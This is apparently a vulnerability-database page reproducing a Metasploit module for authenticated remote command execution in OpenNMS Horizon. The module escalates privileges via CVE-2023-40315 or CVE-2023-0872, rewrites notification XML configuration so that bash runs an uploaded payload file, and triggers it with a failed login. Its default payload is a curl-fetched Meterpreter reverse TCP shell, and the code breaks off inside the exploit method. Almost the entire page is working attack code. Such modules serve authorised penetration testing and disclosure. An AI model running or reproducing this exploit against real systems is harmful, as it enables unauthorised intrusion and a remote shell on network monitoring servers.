Lucene search
K

OpenNMS Horizon 31.0.7 Remote Command Execution

🗓️ 21 Mar 2024 00:00:00Reported by Erik Wynter, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 578 Views

OpenNMS Horizon 31.0.7 Remote Command Execution. Authenticated RCE, requires ROLE_FILESYSTEM_EDITOR and ROLE_ADMIN/ROLE_REST. Successful test - version 31.0.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
OpenNMS Horizon 31.0.7 Remote Command Execution Exploit
27 Mar 202400:00
zdt
Circl
CVE-2023-0872
14 Aug 202322:19
circl
Circl
CVE-2023-40315
18 Aug 202310:27
circl
CNNVD
OpenNMS Horizon 安全漏洞
25 Mar 202300:00
cnnvd
CNNVD
Opennms Group OpenNMS 安全漏洞
17 Aug 202300:00
cnnvd
CVE
CVE-2023-0872
14 Aug 202317:21
cve
CVE
CVE-2023-40315
17 Aug 202319:04
cve
Cvelist
CVE-2023-0872 ROLE_REST can be used to escalate to ROLE_ADMIN via /rest/users
14 Aug 202317:21
cvelist
Cvelist
CVE-2023-40315 ROLE_FILESYSTEM_EDITOR Can Be Used To Escalate To ROLE_ADMIN
17 Aug 202319:04
cvelist
EUVD
EUVD-2023-2300
3 Oct 202520:07
euvd
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'OpenNMS Horizon Authenticated RCE',  
'Description' => %q{  
This module exploits built-in functionality in OpenNMS  
Horizon in order to execute arbitrary commands as the  
opennms user. For versions 32.0.2 and higher, this  
module requires valid credentials for a user with  
ROLE_FILESYSTEM_EDITOR privileges and either  
ROLE_ADMIN or ROLE_REST.  
  
For versions 32.0.1 and lower, credentials are  
required for a user with ROLE_FILESYSTEM_EDITOR,  
ROLE_REST, and/or ROLE_ADMIN privileges. In that case,  
the module will automatically escalate privileges via  
CVE-2023-40315 or CVE-2023-0872 if necessary.  
  
This module has been successfully tested against OpenNMS  
version 31.0.7  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Erik Wynter' # @wyntererik - Discovery and Metasploit  
],  
'References' => [  
['CVE', '2023-40315'], # CVE for privilege escalation via ROLE_FILESYSTEM_EDITOR in OpenNMS Horizon before 32.0.2  
['CVE', '2023-0872'], # CVE for privilege escalation via ROLE_REST in OpenNMS Horizon before 32.0.2  
],  
'Platform' => 'linux',  
'Arch' => 'ARCH_CMD',  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',  
'RPORT' => 8980,  
'SRVPORT' => 8080,  
'FETCH_COMMAND' => 'CURL',  
'FETCH_FILENAME' => Rex::Text.rand_text_alpha(2..4),  
'FETCH_WRITABLE_DIR' => '/tmp',  
'FETCH_SRVPORT' => 8081,  
'WfsDelay' => 15 # It takes a while for the payload to execute  
},  
'Targets' => [ [ 'Linux', {} ] ],  
'DefaultTarget' => 0,  
'Privileged' => true,  
'DisclosureDate' => '2023-07-01',  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ]  
}  
)  
)  
  
register_options [  
OptString.new('TARGETURI', [true, 'The base path to OpenNMS', '/opennms/']),  
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),  
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin'])  
]  
  
register_advanced_options [  
OptInt.new('PRIVESC_SAVE_DELAY', [true, 'The time in seconds to wait for privesc changes to go into effect.', 3])  
]  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def privesc_save_delay  
datastore['PRIVESC_SAVE_DELAY']  
end  
  
def notification_commands_file  
'notificationCommands.xml'  
end  
  
def destination_paths_file  
'destinationPaths.xml'  
end  
  
def notifications_file  
'notifications.xml'  
end  
  
def users_file  
'users.xml'  
end  
  
def check  
# Try to authenticate  
success, msg_or_check_code = opennms_login('check')  
return msg_or_check_code unless success  
  
vprint_status(msg_or_check_code)  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'index.jsp'),  
'keep_cookies' => true  
})  
  
unless res  
return CheckCode::Unknown('Connection failed.')  
end  
  
# If we are authenticating as a user without dashboard privileges, the response code will be 403, so we can't use this  
# Instead, we should simply check if the HTLM body includes the expected title and version information  
unless res.get_html_document.xpath('//title').text.include?('OpenNMS Web Console')  
return CheckCode::Detected('Failed to access the OpenNMS Web Console after authentication.')  
end  
  
# Based on the version history (https://www.opennms.com/version-history/) all OpenNMS Horizon versions follow the \d+\.\d+\.\d+ pattern  
version = res.body.scan(/- Version: (\d+\.\d+\.\d+)$/)&.flatten&.first  
  
if version.blank?  
return CheckCode::Detected('Failed to obtain a valid OpenNMS version.')  
end  
  
begin  
rex_version = Rex::Version.new(version)  
rescue ArgumentError => e  
return CheckCode::Unknown("Failed to obtain a valid OpenNMS version: #{e}")  
end  
  
if rex_version < Rex::Version.new('32.0.2')  
print_status("The target is OpenNMS version #{version} and is likely vulnerable to CVE-2023-40315 and CVE-2023-0872.")  
else  
print_status("The target is OpenNMS version #{version}.")  
end  
  
# Check if we can access the user configuration file. There are two ways to do this:  
# - Via the /rest/users endpoint. This is possible only for users with ROLE_ADMIN and ROLE_REST privileges.  
# - Via /rest/filesystem/contents?f=users.xml. This is possible only for users with ROLE_FILESYSTEM_EDITOR privileges.  
# If neither of these work for us, RCE won't be possible.  
success, xml_doc_or_check_code = grab_and_parse_xml_config_file(users_file, 'users', 'user', 'check', filesystem: false) # try the REST endpoint first  
unless success  
success, xml_doc_or_check_code = grab_and_parse_xml_config_file(users_file, 'users', 'user', 'check') # try the filesystem endpoint next  
return xml_doc_or_check_code unless success # in this case xml_doc_or_check_code is a CheckCode so we can return it directly  
end  
  
# Extract the privileges of the current user  
success, privs_or_check_code = grab_user_privs(xml_doc_or_check_code, 'check')  
return privs_or_check_code unless success  
  
# Successful exploitation requires the user to have FILESYSTEM_EDITOR privileges as well as either REST or ADMIN privileges  
if privs_or_check_code.include?('ROLE_FILESYSTEM_EDITOR')  
if privs_or_check_code.include?('ROLE_REST') || privs_or_check_code.include?('ROLE_ADMIN')  
# We don't need to escalate privileges here  
@highest_priv = 'GOD'  
return CheckCode::Appears("User #{username} has the required privileges for exploitation to work without privilege escalation.")  
end  
  
@highest_priv = 'ROLE_FILESYSTEM_EDITOR'  
elsif privs_or_check_code.include?('ROLE_ADMIN')  
@highest_priv = 'ROLE_ADMIN'  
return CheckCode::Appears("User #{username} has #{@highest_priv} privileges. Exploitation is likely possible via privilege escalation to ROLE_FILESYSTEM_EDITOR.")  
elsif privs_or_check_code.include?('ROLE_REST')  
@highest_priv = 'ROLE_REST'  
else  
return CheckCode::Safe("User #{username} does not have the required privileges for exploitation to work.")  
end  
  
# If we are here, we have ROLE_FILESYSTEM_EDITOR privileges or ROLE_REST privileges, but not both and not ROLE_ADMIN  
# This means that privilege escalation is required, which can work only if the OpenNMS version is 32.0.1 or lower  
if rex_version >= Rex::Version.new('32.0.2')  
return CheckCode::Detected("Exploitation requires privilege escalation, which is not possible for OpenNMS version #{version}.")  
end  
  
cve = if @highest_priv == 'ROLE_FILESYSTEM_EDITOR'  
'CVE-2023-40315'  
else  
'CVE-2023-0872'  
end  
  
CheckCode::Appears("User #{username} has #{@highest_priv} privileges. Exploitation is likely possible via #{cve}.")  
end  
  
# This method is use to handle failures based on the stage of the exploit  
#  
# @param mode [String] The mode to use: check, exploit or cleanup  
# @param message [String] The message to display to the user  
# @param status [String] The status to use: disconnected, unexpected_reply or no_access  
# @return [Array] An array containing a boolean and a CheckCode or message  
def deal_with_failure_by_mode(mode, message, status)  
return [false, "#{message}. Manual cleanup is required."] if mode == 'cleanup'  
  
case status  
when 'disconnected'  
return [false, CheckCode::Unknown(message)] if mode == 'check'  
  
fail_with(Failure::Disconnected, message)  
when 'unexpected_reply'  
return [false, CheckCode::Unknown(message)] if mode == 'check'  
  
fail_with(Failure::UnexpectedReply, message)  
when 'no_access'  
return [false, CheckCode::Safe(message)] if mode == 'check'  
  
fail_with(Failure::NoAccess, message)  
end  
end  
  
# This method is used to perform a login attempt  
#  
# @param mode [String] The mode to use: check, exploit or cleanup  
# @param perform_invalid_login [Boolean] Whether to perform a login attempt with random credentials or not  
# @return [Array] An array containing a boolean and a CheckCode or message  
def opennms_login(mode, perform_invalid_login: false)  
if perform_invalid_login  
user = Rex::Text.rand_text_alpha(8..12)  
pass = Rex::Text.rand_text_alpha(8..12)  
keep_cookies = false  
else  
user = username  
pass = password  
keep_cookies = true  
  
res1 = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'login.jsp'),  
'keep_cookies' => keep_cookies  
})  
  
unless res1  
return deal_with_failure_by_mode(mode, 'Connection failed.', 'disconnected')  
end  
  
unless res1.code == 200 && res1.get_html_document.xpath('//title').text.include?('OpenNMS Web Console')  
msg = if mode == 'check'  
'Target is not an OpenNMS application.'  
else  
'Received unexpected response while attempting to access the OpenNMS Web Console.'  
end  
  
return deal_with_failure_by_mode(mode, msg, 'unexpected_reply')  
end  
end  
  
# Try to authenticate  
res2 = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'),  
'keep_cookies' => keep_cookies,  
'vars_post' => {  
'j_username' => user,  
'j_password' => pass  
}  
})  
  
unless res2  
if perform_invalid_login  
return [false, "Connection failed while attempting to trigger the notification. The payload likely wasn't executed."]  
else  
return deal_with_failure_by_mode(mode, 'Connection failed while attempting to authenticate.', 'disconnected')  
end  
end  
  
unless res2.redirect? && res2.redirection.to_s.end_with?('/index.jsp')  
if perform_invalid_login  
return [true, 'Received expected response while triggering the payload. Please be patient, it may take a few seconds for the payload to execute.']  
else  
message = if mode == 'check'  
'Authentication failed. Please check your credentials.'  
else  
'Received unexpected response while attempting to authenticate.'  
end  
  
return deal_with_failure_by_mode(mode, message, 'unexpected_reply')  
end  
end  
  
# Authentication was successful  
if perform_invalid_login  
return [false, "Received unexpected response while attempting to trigger the notification. The payload likely wasn't executed."]  
end  
  
[true, 'Successfully authenticated']  
end  
  
# This method is used to obtain and parse an XML configuration file from the target via the filesystem endpoint  
#  
# @param file_name [String] The name of the file to obtain  
# @param root_element [String] The name of the root element in the XML file  
# @param element [String] The name of the element to obtain from the XML file  
# @param mode [String] The mode to use: check, exploit or cleanup. This is used to determine how to proceed upon failure  
# @param filesystem [Boolean] Whether to use the filesystem endpoint or not. If not, the file_name will be used as the REST endpoint  
# @return [Array] An array containing a boolean and either a CheckCode, a message or a Nokogiri::XML::Document  
def grab_and_parse_xml_config_file(file_name, root_element, element, mode, filesystem: true)  
request_hash = {  
'method' => 'GET',  
'keep_cookies' => true  
}  
  
if filesystem  
request_hash['uri'] = normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents')  
request_hash['vars_get'] = { 'f' => file_name }  
else  
request_hash['uri'] = normalize_uri(target_uri.path, 'rest', file_name)  
end  
  
# Try to obtain the file  
res = send_request_cgi(request_hash)  
  
unless res  
return deal_with_failure_by_mode(mode, "Connection failed while attempting to obtain the current #{file_name} file.", 'disconnected')  
end  
  
# when using the filesystem endpoint to obtain the users.xml file, the root element is userinfo, which contains the users element  
if file_name == users_file  
if filesystem  
filesystem_root_element = 'userinfo'  
else  
filesystem_root_element = 'users'  
end  
else  
filesystem_root_element = root_element  
end  
  
unless res.code == 200 && res.body.strip.end_with?("</#{filesystem_root_element}>")  
return deal_with_failure_by_mode(mode, "Unexpected response received while attempting to obtain the #{file_name} file. User #{username} my lack the required privileges.", 'unexpected_reply')  
end  
  
# Parse the file  
begin  
doc = Nokogiri::XML(res.body)  
elements = doc&.at_css(root_element)&.css(element)&.map { |e| e&.text }  
rescue Nokogiri::XML::SyntaxError => e  
return deal_with_failure_by_mode(mode, "Failed to parse the #{file_name} file: #{e}", 'unexpected_reply')  
end  
  
if elements.blank?  
return deal_with_failure_by_mode(mode, "No #{element} elements were found in the #{file_name} file.", 'unexpected_reply')  
end  
  
[true, doc]  
end  
  
# This method is used to obtain the privileges of a user from the users.xml file  
#  
# @param xml_doc [Nokogiri::XML::Document] The XML document containing the users  
# @param mode [String] The mode to use: check, exploit or cleanup  
# @return [Array] An array containing a boolean and a CheckCode, message, or an array of privileges  
def grab_user_privs(xml_doc, mode)  
privileges = []  
begin  
user = xml_doc&.at_css('users')&.css('user')&.find { |u| u.at_css('user-id')&.text == username }  
if user.blank?  
return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file. User #{username} was not found.", 'unexpected_reply')  
end  
  
privileges = user.css('role')&.map { |r| r&.text }  
if privileges.blank?  
return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file. No roles were found for user #{username}.", 'unexpected_reply')  
end  
rescue Nokogiri::XML::SyntaxError => e  
return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file: #{e}", 'unexpected_reply')  
end  
  
vprint_status("User #{username} has the following privileges: #{privileges.join(' ')}")  
  
[true, privileges]  
end  
  
# This method is used to escalate or deescalate privileges  
#  
# @param deescalate [Boolean] Whether to escalate or deescalate privileges  
# @return [Array] An array containing a boolean and a CheckCode or message  
def escalate_or_deescalate_privs(deescalate: false)  
# Establish some variables based on if we need to escalate or deescalate privileges  
if deescalate  
use_filesystem = @role_to_add != 'ROLE_FILESYSTEM_EDITOR'  
mode = 'cleanup'  
else  
use_filesystem = @highest_priv == 'ROLE_FILESYSTEM_EDITOR'  
mode = 'exploit'  
end  
  
# grab and parse the users.xml file  
success, xml_doc_or_msg = grab_and_parse_xml_config_file(users_file, 'users', 'user', mode, filesystem: use_filesystem)  
return [false, xml_doc_or_msg] unless success  
  
# Get the privileges of the current user as a sanity check  
success, privileges_or_msg = grab_user_privs(xml_doc_or_msg, mode)  
return [false, privileges_or_msg] unless success  
  
# if we are here to remove privileges, check if we actually have the privileges we want to remove. return otherwise  
if deescalate && privileges_or_msg.exclude?(@role_to_add)  
return [false, 'Did not find the required privileges to deescalate. Manual cleanup may be required.']  
end  
  
# if we need to escalate privileges, check if we already have the privileges we want to escalate to. return otherwise  
unless deescalate  
if use_filesystem  
if privileges_or_msg.include?('ROLE_ADMIN') || privileges_or_msg.include?('ROLE_REST')  
# We don't need to escalate privileges here  
@highest_priv = 'GOD'  
return [true]  
end  
  
@role_to_add = 'ROLE_ADMIN'  
else  
if privileges_or_msg.include?('ROLE_FILESYSTEM_EDITOR')  
# We don't need to escalate privileges here  
@highest_priv = 'GOD'  
return [true]  
end  
  
@role_to_add = 'ROLE_FILESYSTEM_EDITOR'  
end  
end  
  
# Add or remove the required role to the current user  
if use_filesystem  
# If we have ROLE_FILESYSTEM_EDITOR privileges, we can use the filesystem endpoint to add or remove the required role  
begin  
user = xml_doc_or_msg.at_css('users').css('user').find { |u| u.at_css('user-id')&.text == username }  
if user.blank?  
message = "Did not find the current user in the users.xml file while attempting to #{deescalate ? 'deescalate' : 'escalate'} privileges."  
return deal_with_failure_by_mode(mode, message, 'unexpected_reply')  
end  
  
if deescalate  
role = user.css('role').find { |r| r.text == @role_to_add }  
if role.blank?  
return [false, 'Failed to parse the users.xml file while attempting to deescalate privileges. Manual cleanup is required.']  
end  
  
role.remove  
else  
user.add_child(xml_doc_or_msg.create_element('role', @role_to_add))  
end  
rescue Nokogiri::XML::SyntaxError => e  
return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file while attempting to #{deescalate ? 'deescalate' : 'escalate'} privileges: #{e}", 'unexpected_reply')  
end  
  
# upload the edited users.xml file via the filesystem endpoint  
success, message = upload_xml_config_file(users_file, generate_post_data(users_file, xml_doc_or_msg.to_xml(indent: 3)), mode)  
unless deescalate  
# If we have escalated privileges via the filesystem, we need to wait a few seconds for the changes to be saved  
print_status("Waiting #{privesc_save_delay} seconds for the changes to be saved...")  
sleep(privesc_save_delay)  
end  
return [false, message] unless success # this is only used for cleanup. for exploit this cannot happen  
else  
# If we do not have FILESYSTEM_EDITOR privileges, we can use the REST endpoint to do this  
# /users/{username}/roles/{rolename} with PUT to add a role and DELETE to remove a role  
res = send_request_cgi({  
'method' => deescalate ? 'DELETE' : 'PUT',  
'uri' => normalize_uri(target_uri.path, 'rest', 'users', username, 'roles', @role_to_add),  
'keep_cookies' => true  
}, 2) # for some reason the server does not send a response when this request is performed via Ruby, but it does tend to work. When sending the same request via Burp suite, the server did respond.  
  
# 204 = no content, 304 = not modified. 204 indicates success, 304 indicates that the role was already added/removed  
if res && ![204, 304].include?(res.code)  
return deal_with_failure_by_mode(mode, "Received unexpected reply while attempting to #{deescalate ? 'deescalate' : 'escalate'} privileges", 'unexpected_reply')  
end  
end  
  
# Get the users.xml file again to make sure our changes were saved  
success, xml_doc_or_msg = grab_and_parse_xml_config_file(users_file, 'users', 'user', mode, filesystem: use_filesystem)  
return [false, xml_doc_or_msg] unless success # this is only used for cleanup. for exploit this cannot happen  
  
# Get the privileges of the current user again to make sure our changes were saved  
success, privs_or_msg = grab_user_privs(xml_doc_or_msg, mode)  
return [false, privs_or_msg] unless success  
  
# Check if our changes were saved  
if deescalate  
if privs_or_msg.include?(@role_to_add)  
return [false, 'Failed to deescalate privileges. Manual cleanup is required.']  
end  
  
return [true, "Successfully deescalated privileges by removing #{@role_to_add}"]  
end  
  
# If we are here, we are escalating privileges  
unless privs_or_msg.include?(@role_to_add)  
fail_with(Failure::UnexpectedReply, 'Failed to escalate privileges')  
end  
  
@highest_priv = 'GOD'  
[true, "Successfully escalated privileges by adding #{@role_to_add}"]  
end  
  
# This method is used to generate the XML document that will be used to add a notification command  
#  
# @param file_name [String] The name of the file to upload  
# @param xml_doc [Nokogiri::XML::Document] The XML document to upload  
# @return [Rex::MIME::Message] The post data  
def generate_post_data(file_name, data_to_write)  
post_data = Rex::MIME::Message.new  
post_data.add_part(data_to_write, 'text/xml', nil, "form-data; name=\"upload\"; filename=\"#{file_name}\"")  
  
post_data  
end  
  
# This method is used to upload an XML configuration file to the target  
#  
# @param file_name [String] The name of the file to upload  
# @param post_data [Rex::MIME::Message] The post data to upload  
# @param mode [String] The mode to use: exploit or cleanup  
# @return [Array] An array containing a boolean and an optional message  
def upload_xml_config_file(file_name, post_data, mode = 'exploit')  
# upload the edited notificationCommands.xml file  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'),  
'vars_get' => { 'f' => file_name },  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'keep_cookies' => true,  
'data' => post_data.to_s  
})  
  
unless res  
return deal_with_failure_by_mode(mode, "Connection failed while attempting to upload the #{file_name} file", 'disconnected')  
end  
  
unless res.code == 200 && res.body.include?('Successfully wrote to')  
return deal_with_failure_by_mode(mode, "Unexpected response received while attempting to upload the #{file_name} file", 'unexpected_reply')  
end  
  
[true]  
end  
  
def find_element_via_at_css(file_name)  
if [destination_paths_file, notifications_file].include?(file_name)  
return false  
end  
  
true  
end  
  
# This method is used to edit an XML configuration file  
#  
# @param file_name [String] The name of the file to edit  
# @param root_element [String] The name of the root element in the XML file  
# @param element [String] The name of the element to edit in the XML file  
def edit_xml_config_file(file_name, root_element, element)  
# First we need to get the current #{file_name} file, so we can edit our #{element_name} in it  
_success, xml_doc = grab_and_parse_xml_config_file(file_name, root_element, element, 'exploit')  
  
# update the xml document with a new element  
new_value = Rex::Text.rand_text_alpha(8..12)  
case file_name  
when notification_commands_file  
xml_doc = add_notification_command(xml_doc, new_value)  
when destination_paths_file  
xml_doc = add_destination_path(xml_doc, new_value)  
when notifications_file  
xml_doc = add_notification(xml_doc, new_value)  
end  
  
# upload the edited #{file_name} file via the filesystem endpoint  
upload_xml_config_file(file_name, generate_post_data(file_name, xml_doc.to_xml(indent: 3)), 'exploit')  
  
# generate global variables for cleanup  
case file_name  
when notification_commands_file  
@notification_command_name = new_value  
when destination_paths_file  
@destination_path_name = new_value  
when notifications_file  
@notification_name = new_value  
end  
  
# Get the #{file_name} file again to make sure our #{element_name} was edited  
_success, xml_doc = grab_and_parse_xml_config_file(file_name, root_element, element, 'exploit')  
  
# Check if our #{element_name} was edited  
if find_element_via_at_css(file_name)  
full_element = xml_doc.at_css(root_element).css(element).find { |e| e.at_css('name')&.text == new_value }  
else  
full_element = xml_doc.at_css(root_element).css(element).find { |e| e['name'] == new_value }  
end  
  
if full_element.blank?  
fail_with(Failure::UnexpectedReply, "Failed to verify that the #{file_name} file was successfully edited")  
end  
  
print_status("Successfully edited #{file_name}")  
end  
  
# This method is used to add a notification command to a Nokogiri XML document  
#  
# @param xml_doc [Nokogiri::XML::Document] The XML document to add the notification command to  
# @param notification_command_name [String] The name of the notification command to add  
# @return [Nokogiri::XML::Document] The updated XML document  
def add_notification_command(xml_doc, notification_command_name)  
# A notification command is a command that gets executed when a notification is triggered. We can use this to execute our payload.  
  
# Update the xml document with a new notification command  
notification_comment = Rex::Text.rand_text_alpha(6..10)  
  
notification_command = xml_doc.create_element('command', 'binary' => 'true') # Change binary attribute value if needed  
name = xml_doc.create_element('name', notification_command_name)  
execute = xml_doc.create_element('execute', '/usr/bin/bash')  
comment = xml_doc.create_element('comment', notification_comment)  
argument = xml_doc.create_element('argument', 'streamed' => 'false')  
argument_switch = xml_doc.create_element('substitution', "/usr/share/opennms/etc/#{@payload_file_name}")  
argument.add_child(argument_switch)  
  
notification_command.add_child(name)  
notification_command.add_child(execute)  
notification_command.add_child(comment)  
notification_command.add_child(argument)  
xml_doc.at_css('notification-commands').add_child(notification_command)  
  
xml_doc  
end  
  
# This method is used to add a destination path to a Nokogiri XML document  
#  
# @param xml_doc [Nokogiri::XML::Document] The XML document to add the destination path to  
# @param destination_path_name [String] The name of the destination path to add  
# @return [Nokogiri::XML::Document] The updated XML document  
def add_destination_path(xml_doc, destination_path_name)  
# A destination path points to a specific group or user that will receive a notification when a notification is triggered.  
# It also indicates which notification command should be executed when the notification is triggered.  
# We need to add a destination path that points to our notification command so that it gets executed when a notification is triggered.  
  
# Update the xml document with a new destination path  
destination_path = xml_doc.create_element('path', 'name' => destination_path_name)  
target = xml_doc.create_element('target')  
name = xml_doc.create_element('name', 'Admin')  
command = xml_doc.create_element('command', @notification_command_name)  
target.add_child(name)  
target.add_child(command)  
destination_path.add_child(target)  
xml_doc.at_css('destinationPaths').add_child(destination_path)  
  
xml_doc  
end  
  
# This method is used to add a notification to a Nokogiri XML document  
#  
# @param xml_doc [Nokogiri::XML::Document] The XML document to add the notification to  
# @param notification_name [String] The name of the notification to add  
# @return [Nokogiri::XML::Document] The updated XML document  
def add_notification(xml_doc, notification_name)  
# A notification is triggered when a specific event occurs, and can be configured to call a specific destination path.  
# We need to add a notification that will trigger our destination path so that our notification command gets executed.  
  
# Update the xml document with a new notification that will be triggered when a user fails to authenticate  
# since that is something we can easily trigger ourselves  
notification_message = Rex::Text.rand_text_alpha(6..10)  
  
notification = xml_doc.create_element('notification', 'name' => notification_name, 'status' => 'on')  
uei = xml_doc.create_element('uei', 'uei.opennms.org/internal/authentication/failure')  
# We need to add a rule for the IP. Let's use a negative comparison with a non-routable IP, which will always work (see RFC 5737)  
rule = xml_doc.create_element('rule', "IPADDR != '192.0.2.#{rand(0..255)}'")  
destination_path = xml_doc.create_element('destinationPath', @destination_path_name)  
text_message = xml_doc.create_element('text-message', notification_message)  
notification.add_child(uei)  
notification.add_child(rule)  
notification.add_child(destination_path)  
notification.add_child(text_message)  
xml_doc.at_css('notifications').add_child(notification)  
  
xml_doc  
end  
  
# This method is used to remove an element from an XML configuration file  
#  
# @param file_name [String] The name of the file to remove the element from  
# @param root_element [String] The name of the root element in the XML file  
# @param element [String] The name of the element to remove from the XML file  
# @param element_to_remove [String] The name of the element to remove from the XML file  
def revert_xml_config_file(file_name, root_element, element, element_to_remove)  
# First we need to get the current #{file_name} file, so we can remove our #{element_name} from it  
success, xml_doc_or_msg = grab_and_parse_xml_config_file(file_name, root_element, element, 'cleanup')  
unless success  
print_error(xml_doc_or_msg)  
return  
end  
  
begin  
if find_element_via_at_css(file_name)  
full_element = xml_doc_or_msg.at_css(root_element).css(element).find { |e| e.at_css('name')&.text == element_to_remove }  
else  
full_element = xml_doc_or_msg.at_css(root_element).css(element).find { |e| e['name'] == element_to_remove }  
end  
  
unless full_element.present?  
print_error("Failed to remove #{element_to_remove} from #{file_name}. Manual cleanup is required")  
return  
end  
  
full_element.remove  
rescue Nokogiri::XML::SyntaxError  
print_error("Failed to parse the #{file_name} file while attempting to remove #{element_to_remove}. Manual cleanup is required.")  
return  
end  
  
# generate post data  
post_data = generate_post_data(file_name, xml_doc_or_msg.to_xml(indent: 3))  
  
success, message = upload_xml_config_file(file_name, post_data, 'cleanup')  
unless success  
print_error(message)  
return  
end  
  
# Get the #{file_name} file again to make sure our #{element_name} was removed  
success, xml_doc_or_msg = grab_and_parse_xml_config_file(file_name, root_element, element, 'cleanup')  
unless success  
print_error(xml_doc_or_msg)  
return  
end  
  
# Check if our #{element_name} was removed  
if xml_doc_or_msg.at_css(root_element).css(element).map { |e| e.at_css('name')&.text }.include?(element_to_remove)  
print_error("Failed to remove #{element_to_remove} from #{file_name}. Manual cleanup is required.")  
else  
vprint_status("Successfully removed #{element_to_remove} from #{file_name}")  
end  
end  
  
# This method is used to trigger a reload of the OpenNMS configuration  
#  
# @param mode [String] The mode to use: exploit or cleanup  
# @return [Array] An array containing a boolean and a message  
def update_configuration(mode)  
# We need to update the configuration in order for our changes to take effect  
xml_doc = Nokogiri::XML::Builder.new do |xml|  
xml.event('xmlns' => 'http://xmlns.opennms.org/xsd/event') do  
xml.uei('uei.opennms.org/internal/reloadDaemonConfig')  
xml.source('perl_send_event')  
xml.time(Time.now.strftime('%Y-%m-%dT%H:%M:%S%:z'))  
xml.host(Rex::Text.rand_text_alpha(8..12))  
xml.parms do  
xml.parm do  
xml.parmName('daemonName')  
xml.value('Notifd', { 'type' => 'string', 'encoding' => 'text' })  
end  
end  
end  
end  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'rest', 'events'),  
'ctype' => 'application/xml',  
'keep_cookies' => true,  
'data' => xml_doc.to_xml(indent: 3)  
})  
  
unless res  
message = 'Connection failed while attempting to update the configuration.'  
message += ' The cleanup changes have not been applied, but will be at the next config reload.' if mode == 'cleanup'  
return deal_with_failure_by_mode(mode, message, 'disconnected')  
end  
  
unless res.code == 202  
message = 'Received unexpected response while attempting to update the configuration.'  
message += ' The cleanup changes have not been applied, but will be at the next config reload.' if mode == 'cleanup'  
return deal_with_failure_by_mode(mode, message, 'unexpected_reply')  
end  
  
[true, 'Successfully updated the configuration']  
end  
  
# This method is used to write the payload to a .bsh file and trigger the notification  
#  
# @param cmd [String] The command to execute  
def write_payload_to_bsh_file(cmd)  
# We need to write our payload to a .bsh file so that it can be executed by the notification command  
  
post_data = generate_post_data(@payload_file_name, cmd)  
  
res1 = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'),  
'vars_get' => { 'f' => @payload_file_name },  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'keep_cookies' => true,  
'data' => post_data.to_s  
})  
  
unless res1  
fail_with(Failure::Disconnected, 'Connection failed while attempting to upload the payload file')  
end  
  
unless res1.code == 200 && res1.body.include?('Successfully wrote to')  
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload file')  
end  
  
# Get the payload file again to make sure it was uploaded successfully  
res2 = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'),  
'vars_get' => { 'f' => @payload_file_name },  
'keep_cookies' => true  
})  
  
unless res2  
fail_with(Failure::Disconnected, 'Connection failed while attempting to obtain the current payload file')  
end  
  
unless res2.code == 200 && res2.body == cmd  
fail_with(Failure::UnexpectedReply, 'Failed to verify that the payload file was successfully uploaded')  
end  
  
print_good("Successfully uploaded the payload to #{@payload_file_name}")  
@payload_written = true  
end  
  
def execute_command(cmd, _opts = {})  
# Write the payload to a .bsh file  
write_payload_to_bsh_file(cmd)  
  
print_status('Triggering the notification to execute the payload')  
# Trigger the notification by performing a login attempt using random credentials  
success, message = opennms_login('exploit', perform_invalid_login: true)  
if success  
print_status(message)  
else  
print_error(message)  
end  
end  
  
# Horizon installs with notifications globally disabled by default. This exploit depends on notification being enabled  
# in order to obtain RCE. If notifications are disabled a user with administrative privileges is able to turn them on.  
# https://docs.opennms.com/horizon/30/operation/notifications/getting-started.html  
def ensure_notifications_enabled  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'index.jsp'),  
'keep_cookies' => true  
})  
fail_with(Failure::UnexpectedReply, 'Failed to determine if notifications were enabled') unless res  
  
if res.get_html_document.xpath('//i[contains(@title, \'Notices: On\')]').empty?  
vprint_status('Notifications are not enabled, meaning the target is not exploitable as is. Enabling notifications now...')  
res2 = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'admin', 'updateNotificationStatus'),  
'keep_cookies' => true,  
'vars_post' => {  
'status' => 'on'  
}  
})  
fail_with(Failure::UnexpectedReply, 'Failed to enable notifications') unless res2 && res2.redirect? && res2.redirection.to_s.end_with?('/index.jsp')  
end  
vprint_good('Notifications are enabled')  
end  
  
def exploit  
# Check if we need to escalate privileges  
if @highest_priv && @highest_priv != 'GOD'  
